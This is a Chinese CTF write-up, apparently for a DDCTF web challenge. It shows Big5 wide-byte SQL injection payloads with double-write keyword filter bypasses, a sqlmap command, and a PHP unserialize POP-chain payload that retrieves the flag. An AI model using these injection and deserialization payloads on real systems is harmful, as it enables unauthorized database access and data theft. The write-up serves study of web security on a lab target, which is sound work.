题目链接:http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1
Big5编码
查看网页源代码发现如下链接:https://wenku.baidu.com/view/bd29b7b3fd0a79563c1e72f7.html
打开是台湾BIG5编码表,url中加个单引号发现提示,最后拼接的参数是 : 1',猜测是big5宽字节注入,\
的ascii码是5c,找到BIG5编码中后两位是5C的字,随便找一个功
,尝试如下payload,成功返回所有数据
1功'or 1=1 %23
联合查询注入
既然是查询首先尝试联合查询
/1功'order by 3 %23
三个字段
/1功'union%20select%201,2,3%23
返回提示:
最后拼接的参数是 : 1�\\' select 1,2,3#
~~~如果自己拼接的参数显示有问题了,试试浏览器的页面编码设置~~~
貌似是过滤了union,尝试双写
/1功'uniounionn%20select%201,2,3%23
双写绕过
尝试获取数据库名,表名,列名信息,发现过滤了如下字符串,尝试双写绕过即可
- union
- database
- hex
- unhex
- updatexml
联合查询不同字符集bypass
当查询其他表的信息时如:
1功'uniounionn%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20%23
发现如下报错:
HY000 1271 Illegal mix of collations for operation 'UNION'
这是因为两个数据库字符集不同,导致无法联合查询,不过居然找到老外的bypass方法,视频连接:
原理就是用unhex(hex())把要查询的字段包裹起来,解码的时候会自动符合编码要求,加上双写绕过最终payload如下:
功'%20uniunionon%20select%201,unhunhexex(hehexx(group_concat(schema_name))),3%20from%20information_schema.schemata%20%23
数据库结构
http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,unhunhexex(hehexx(group_concat(schema_name))),3%20from%20information_schema.schemata%20%23
information_schema,sqli
http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,2,unhunhexex(hehexx(group_concat(table_name)))%20from%20information_schema.tables%20where%20table_schema=0x73716C69%23
message,route_rules
http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,2,unhunhexex(hehexx(group_concat(column_name)))%20from%20information_schema.columns%20where%20table_name=0x6D657373616765%23
id,name,contents
http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,2,unhunhexex(hehexx(group_concat(column_name)))%20from%20information_schema.columns%20where%20table_name=0x726F7574655F72756C6573%23
id,pattern,action,rulepass
http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%20unhunhexex(hehexx(pattern)),unhunhexex(hehexx(action)),unheunhexx(hhexex(rulepass))%20from%20route_rules%20%23
get*/ u/well/getmessage/ s
get*/ u/justtry/self/ s
post*/ u/justtry/try JustTry#try
static/bootstrap/css/backup.css static/bootstrap/css/backup.zip
其他注入方式
本题也可以采取报错注入或者是盲注来注出数据,利用sqlmap以及windows下的超级注入工具也可以做出来,但是我用sqlmap并没有成功,请教了大佬,大佬说他sqlmap直接可以跑出结果,并不知道为啥。这里给出sqlmap如果是伪静态url可以用*
来表示注入点,命令如下:
sqlmap -u "http://116.85.48.105:5033/ab393ca3-0736-4ac3-8fb5-5461d803ea87/well/getmessage/1功'*"
源码审计
通过爆出的路由表,访问如下url获得备份文件:
http://116.85.48.105:5033/static/bootstrap/css/backup.css
➜ 注入的奥秒 tree ./
./
├── Controller
│ ├── Base.php
│ ├── Justtry.php
│ ├── Trans.php
│ └── Well.php
├── Database
│ ├── DbConfig.php
│ ├── DbConnect.php
│ └── FLDbConnect.php
├── Helper
│ ├── Flag.php
│ ├── Reflect.php
│ ├── Response.php
│ ├── Router.php
│ ├── SQL.php
│ ├── Security.php
│ ├── Test.php
│ └── UUID.php
└── index.php
还通过路由表可知,应该还可以访问的是JustTry.php的try方法,需要用POST方式访问
post*/ u/justtry/try JustTry#try
整体分析
- 整体架构就是类似MVC的程序
- 入口index.php生成一个router的实例
- router根据路由表解析访问的url
- 这道题的路由表是router通过查询数据库得到的
- 解析完成交给控制器中相应的方法
根据提示查看Justtry.php的源码,定位到关键的try方法:
public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}
这里发现反序列化函数接收了两个参数,第二个参数是反序列化的过滤器,这是php7的新特性
php7新特性
http://www.runoob.com/w3cnote/php7-new-features.html
<?php
// 转换对象为 __PHP_Incomplete_Class 对象
$data = unserialize($foo, ["allowed_classes" => false]);
// 转换对象为 __PHP_Incomplete_Class 对象,除了 MyClass 和 MyClass2
$data = unserialize($foo, ["allowed_classes" => ["MyClass", "MyClass2"]);
// 默认接受所有类
$data = unserialize($foo, ["allowed_classes" => true]);
php命名空间
http://www.runoob.com/php/php-namespace.html
PHP 命名空间(namespace)是在PHP 5.3中加入的,可以解决以下两类问题:
- 用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突。
- 为很长的标识符名称(通常是为了缓解第一类问题而定义的)创建一个别名(或简短)的名称,提高源代码的可读性。
关于命名空间如何实现自动加载的问题暂时搁置,有空写一篇专题。这里要说明的是,一个命名空间中的类在序列化的时候会带有空间标识,如下:
<?php
namespace Index\Helper;
class Test{
public $test;
}
$t = new Test;
echo serialize($t);
?>
输出:
O:17:"Index\Helper\Test":1:{s:4:"test";N;}
反序列化
Justtry.php
public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}
Test.php
<?php
namespace Index\Helper;
use Index\Helper\Flag;
use Index\Helper\UUID;
defined('ACCESS_FILE') or exit('No direct script access allowed');
class Test
{
public $user_uuid;
public $fl;
public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
// $this->setflag('ctfuser', $this->user_uuid);
}
public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}
Flag.php
<?php
namespace Index\Helper;
use PDO;
use Index\Helper\SQL;
defined('ACCESS_FILE') or exit('No direct script access allowed');
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{
$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}
SQL.php
<?php
namespace Index\Helper;
use Index\Database\DbConnect;
use Index\Database\FLDbConnect;
use PDO;
class SQL
{
public $dbc;
public $pdo;
public function __construct()
{
}
public function FlagGet($user)
{
$this->dbc = new FLDbConnect();
$this->pdo = $this->dbc->getPDO();
//TODO :CHECK UNIQUE
$user['name']= $user['name'];
$user['id']= $user['id'];
//seriliza str
// var_dump($user);
$sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
$sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
$sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
if ($sth->execute()) {
$result = $sth->fetch($this->pdo::FETCH_ASSOC);
return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
} else {
return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
}
}
}
思路
- 首先在justtry.php处可以反序列化生成Flag,Test,SQL类的实例
- Test的对象在销毁时会调用当前对象中的fl成员的get方法
- 发现Flag类中有get方法,该方法会调用当前对象中的sql成员的FlagGet方法
- 发现SQL类中存在FlagGet方法,既可拿到flag
POP链
- 构造一个Test类的实例
- 其中的fl成员为Flag类的实例
- fl成员中的sql成员是一个SQL类的实例
<?php
namespace Index\Helper;
class SQL
{
public $dbc;
public $pdo;
}
class Flag
{
public $sql;
}
class Test
{
public $user_uuid;
public $fl;
}
$a= new Test;
$a->user_uuid="5d71b644-ee63-4b11-9c13-da3c4ac35b8d";
$a->fl=new Flag;
$a->fl->sql=new SQL;
echo serialize($a);
得到payload如下:
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"5d71b644-ee63-4b11-9c13-da3c4ac35b8d";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}
POST数据
可见Justtry.php中的try方法传入的参数就是我们要提交的,但是参数是通过什么名字提交给函数的呢?这里我们源码中的Router.php第126行
$params = array();
if (strtoupper($method)=='POST') {
foreach ($_POST as $key => $val) {
if ($key!='r') {
$params[]=urldecode($val);
}
}
可见所有参数被存到一个数组里,并且提交的参数名没有存储,所以根据router,POST提交如下数据,即可获得flag
http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/justtry/try/
A=O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"5d71b644-ee63-4b11-9c13-da3c4ac35b8d";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}
DDCTF{5ed110a54246a5cd7d755185b4d89f74fb2530084bf93d8000f2170899d29b22}